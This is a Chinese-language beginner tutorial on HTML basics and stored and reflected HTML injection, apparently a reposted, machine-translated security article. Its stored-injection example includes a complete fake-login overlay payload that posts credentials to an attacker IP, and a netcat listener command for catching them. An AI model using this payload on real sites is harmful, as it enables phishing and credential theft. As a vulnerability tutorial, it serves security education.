HTML注入初学者指南

来自W3schools
HTML是用于设计网页的标准超文本标记语言
  • HTML描述了使用标记的网页结构。
  • HTML元素是HTML页面的构建块。
  • HTML元素由标记表示。
  • HTML标记标记内容,例如“标题”,“段落”,“表格”等。
  • 浏览器不显示HTML标记,但利用它们提交页面内容。



HTML标签

HTML标记是由尖括号括起来的元素名称。它们的两种类型的标记起始也称为开始标记和结束标记,也称为结束标记



HTML元素

HTML元素通常由  开始 标记和  结束 标记组成,其中插入内容:



HTML属性

属性提供有关HTML元素的其他信息。属性通常以名称/值对的形式出现,如:  name =“value”
使用HTML创建网页
通常“记事本”用于编写HTML代码并使用.html / .htm扩展名保存文本文件,例如“ test.html ”,然后使用任何Web浏览器打开保存的文件。
要在记事本中创建一个简单的网页类型,请输入以下代码并保存test.html


[table=100%][tr][td]  
1
2
3
4
5
6
7
8
9
10
11
12
13
[/td][td=1,1,769.6]  
<!DOCTYPE html>
<html>
<head>
<title> HTML TUTORIALS</title>
</head>
<body bgcolor="pink">
<br>
<center><h2>WELCOME TO HACKING ARTILCES </h2>
<br>
<p>Author Raj chandel</p>
</center>
</body>
</html>

[/td][/tr][/table]

当您在Web浏览器中打开test.html时,您将看到下面的图像。

  • 该  <!DOCTYPE HTML>  声明定义这个文件是HTML5
  • 的  <HTML>  元素是一个HTML页面的根元素
  • 所述  <HEAD>  元素包含关于文档的元信息
  • 所述  <TITLE>  元素指定该文档的标题
  • 所述  <BODY>  元素包含可见页面的内容; 将bgcolor属性设为“粉红色”
  • 结果,元素定义断裂线/下一行
  • 的  <H1>  元素定义了一个大的标题
  • 的  <P>  元素定义了一个段落


HTML版本

从Web早期开始,就有很多版本的HTML:
   
 HTML  1991年
 HTML 2.0  1995年
 HTML 3.2  1997年
 HTML 4.01  1999年
 XHTML  2000
 HTML5  2014
要了解有关HTML的更多信息,请访问w3schools 。COM


HTML注入

HTML注入是当用户输入未正确清理或输出未编码且攻击者能够将有效的HTML代码注入易受攻击的网页时发生的任何网站内的漏洞。有许多技术可以使用元素和属性来提交HTML内容。
如果这些方法提供了不受信任的输入,则存在XSS的高风险,特别是HTML注入。如果字符串未正确清理,则问题可能导致基于XSS的HTML注入。
此漏洞可能会产生许多后果,例如披露可能用于冒充受害者的用户会话cookie,或者更一般地说,它可以允许攻击者修改受害者看到的页面内容。

他们的两种类型的html注入如下:
  • 存储的HTML
  • 反映HTML


存储的HTML

存储的HTML也称为持久性,因为通过此漏洞,注入的恶意脚本永久存储在Web服务器内,并且应用程序服务器在访问相应网站时将其发回给用户。因此,当客户端点击显示为网站官方部分的有效负载时,注入的HTML代码将由浏览器执行。最常见的示例是博客上的评论选项,允许用户为管理员或其他用户发布评论。
例:
易受存储HTML注入攻击的Web应用程序示例,允许用户在博客中提交其条目,如屏幕截图所示。
首先,用户“raj”作为攻击者正常进入,并成功添加到Web服务器数据库中。

在给定文本区域内输入以下html代码以进行HTML攻击。  


 
1
[/td][td=1,1,4108]  
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.1.104 /login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>


上面的HTML代码将生成一个有效负载,以在目标网页上创建用户登录页面,并将该凭据转发给攻击者的IP

您可以看到下面给出的登录页面看起来对用户有效并存储在Web服务器中。

现在当受害者打开恶意登录页面时,他将收到上面看起来正式的网页,他将在该页面上提交他的凭证。正如他将这样做,请求将在攻击者IP地址上转发。



 
1
 
nc -vlp 80


攻击者将在natcat上接收用户凭据作为响应。从屏幕截图中,您可以阅读username = bee&password = bug
现在,攻击者将使用这些凭据进行登录。



反映HTML

反映的HTML HTML也称为非持久性,当Web应用程序立即响应用户的输入而未验证输入时,会导致攻击者在单个HTML响应中注入浏览器可执行代码。它被命名为“非持久性”,因为恶意脚本不会存储在Web服务器中,因此攻击者将通过网络钓鱼发送恶意链接来捕获用户。
这种漏洞最常见的应用是在网站的搜索引擎中:攻击者在搜索文本框中写入一些任意HTML代码,如果网站易受攻击,结果页面将返回这些HTML实体的结果。
例:
以下网页允许用户提交他的名字和姓氏,但这些文本字段容易受到HTML注入。

现在在为名字给出的文本字段中键入以下html代码,当您单击“RAJ”时为hackingarticles.in创建链接


 
1
 
<h1><a href ="http://www.hackingarticles.in">RAJ</a></h1>


类似地在给定文本字段中键入以下代码作为姓氏:


 
1
 
<h2>CHANDEL</h2>


单击Go选项卡以名字和姓氏执行此操作。

从给定的屏幕截图中你可以看到它已经提交了RAJ CHANDEL,而单词“RAJ”包含了hackingarticles.in的链接当你点击链接它会转发给hackingarticles.in
组图
  • 11.png
  • 15.png
  • 16.png
转载请注明本文链接: http://www.mayidui.net/t2402.html
游客
登录后才可以回帖,登录 或者 注册